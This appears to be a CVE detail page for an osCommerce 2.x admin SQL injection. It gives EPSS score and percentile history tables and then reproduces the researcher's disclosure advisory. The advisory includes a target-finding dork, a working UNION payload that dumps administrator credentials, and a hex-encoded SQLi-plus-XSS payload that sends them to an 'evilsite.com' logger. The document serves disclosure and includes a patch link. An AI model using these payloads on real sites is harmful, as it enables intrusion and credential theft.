CVE-2014-10033 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.56%	–	–
2022-02-13	–	–	1.56%	–	–
2022-04-03	–	–	1.56%	–	–
2022-04-24	–	–	1.56%	–	–
2022-09-18	–	–	1.56%	–	–
2022-10-30	–	–	1.22%	–	–
2023-01-15	–	–	1.1%	–	–
2023-03-12	–	–	–	0.79%	–
2023-09-17	–	–	–	0.79%	–
2023-12-24	–	–	–	0.4%	–
2024-02-11	–	–	–	0.4%	–
2024-06-02	–	–	–	0.4%	–
2024-06-23	–	–	–	0.4%	–
2024-12-08	–	–	–	0.34%	–
2024-12-22	–	–	–	0.17%	–
2025-03-09	–	–	–	0.17%	–
2025-03-16	–	–	–	0.17%	–
2025-01-19	–	–	–	0.17%	–
2025-03-18	–	–	–	–	1.55%
2025-03-30	–	–	–	–	1.61%
2025-04-12	–	–	–	–	0.91%
2025-04-15	–	–	–	–	0.91%
2025-04-15	–	–	–	–	0.91,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	52%
2022-02-13	53%
2022-04-03	73%
2022-04-24	74%
2022-09-18	75%
2022-10-30	66%
2023-01-15	53%
2023-03-12	79%
2023-09-17	8%
2023-12-24	71%
2024-02-11	73%
2024-06-02	73%
2024-06-23	74%
2024-12-08	72%
2024-12-22	55%
2025-03-09	55%
2025-03-16	56%
2025-01-19	55%
2025-03-18	8%
2025-03-30	8%
2025-04-12	74%
2025-04-15	75%
2025-04-15	75%

# Title: osCommerce v2.x SQL Injection Vulnerability # Dork: Powered by osCommerce # Author: Ahmed Aboul-Ela # Contact: ahmed.aboul3la[at]gmail[dot]com - http://twitter.com/_secgeek # Vendor : http://www.oscommerce.com # Version: v2.3.3.4 (current latest release) and prior versions should be affected too # References: http://www.secgeek.net/oscommerce-v2x-sql-injection-vulnerability - Vulnerable Code snippet in "catalog/admin/geo_zones.php": <?php [...] LINE 138: $rows = 0; LINE 139: $zones_query_raw = "select a.association_id, a.zone_country_id, c.countries_name, a.zone_id, a.geo_zone_id, a.last_modified, a.date_added, z.zone_name from " . TABLE_ZONES_TO_GEO_ZONES . " a left join " . TABLE_COUNTRIES . " c on a.zone_country_id = c.countries_id left join " . TABLE_ZONES . " z on a.zone_id = z.zone_id where a.geo_zone_id = " . $HTTP_GET_VARS['zID'] . " order by association_id"; LINE 140: $zones_split = new splitPageResults($HTTP_GET_VARS['spage'], MAX_DISPLAY_SEARCH_RESULTS, $zones_query_raw, $zones_query_numrows); LINE 141: $zones_query = tep_db_query($zones_query_raw); [...] ?> As we can see at line 139 the GET zID parameter directly concatenated with the sql query without any type of sanitization which leads directly to sql injection vulnerability - Proof of Concept ( dump the admin username and password ): http://site.com/oscommerce/catalog/admin/geo_zones.php?action=list&zID=1 group by 1 union select 1,2,3,4,5,6,7,concat(user_name,0x3a,user_password) from administrators -- - Exploitation & Attack Scenario: an authenticated admin account is required to successfully exploit the vulnerability but it can be combined with other attack vectors like XSS / CSRF to achieve more dangerous successful remote attack Example to steal the administrator username & password and send it to php logger at "http://evilsite.com/logger.php?log=[ADMIN USER:HASH]" We can use hybrid attack technique ( SQL Injection + XSS ) : http://site.com/oscommerce/catalog/admin/geo_zones.php?action=list&zID= 1 group by 1 union select 1,2,3,4,5,6,7,concat(0x3c6469762069643d2274657374223e,user_name,0x3d,user_password,0x3c2f6469763e3c7363726970743e646f63756d656e742e6c6f636174696f6e2e687265663d22687474703a2f2f6576696c736974652e636f6d2f6c6f676765722e7068703f6c6f673d222b242822237465737422292e68746d6c28293c2f7363726970743e) from administrators -- - Mitigation: The vendor has released a quick fix for the vulnerability. It is strongly recommended to apply the patch now https://github.com/gburton/oscommerce2/commit/e4d90eccd7d9072ebe78da4c38fb048bfe31c902 - Time-Line: Mon, Feb 3, 2014 at 10:17 PM: vulnerability advisory sent to osCommerce Tue, Feb 4, 2014 at 01:14 AM: recevied initial reply from osCommerce Tue, Feb 4, 2014 at 02:06 AM: osCommerce released a quick fix for the vulnerability Thu, Feb 6, 2014 at 05:15 PM: the public responsible disclosure - Credits: Ahmed Aboul-Ela - Information Security Consultant @ Starware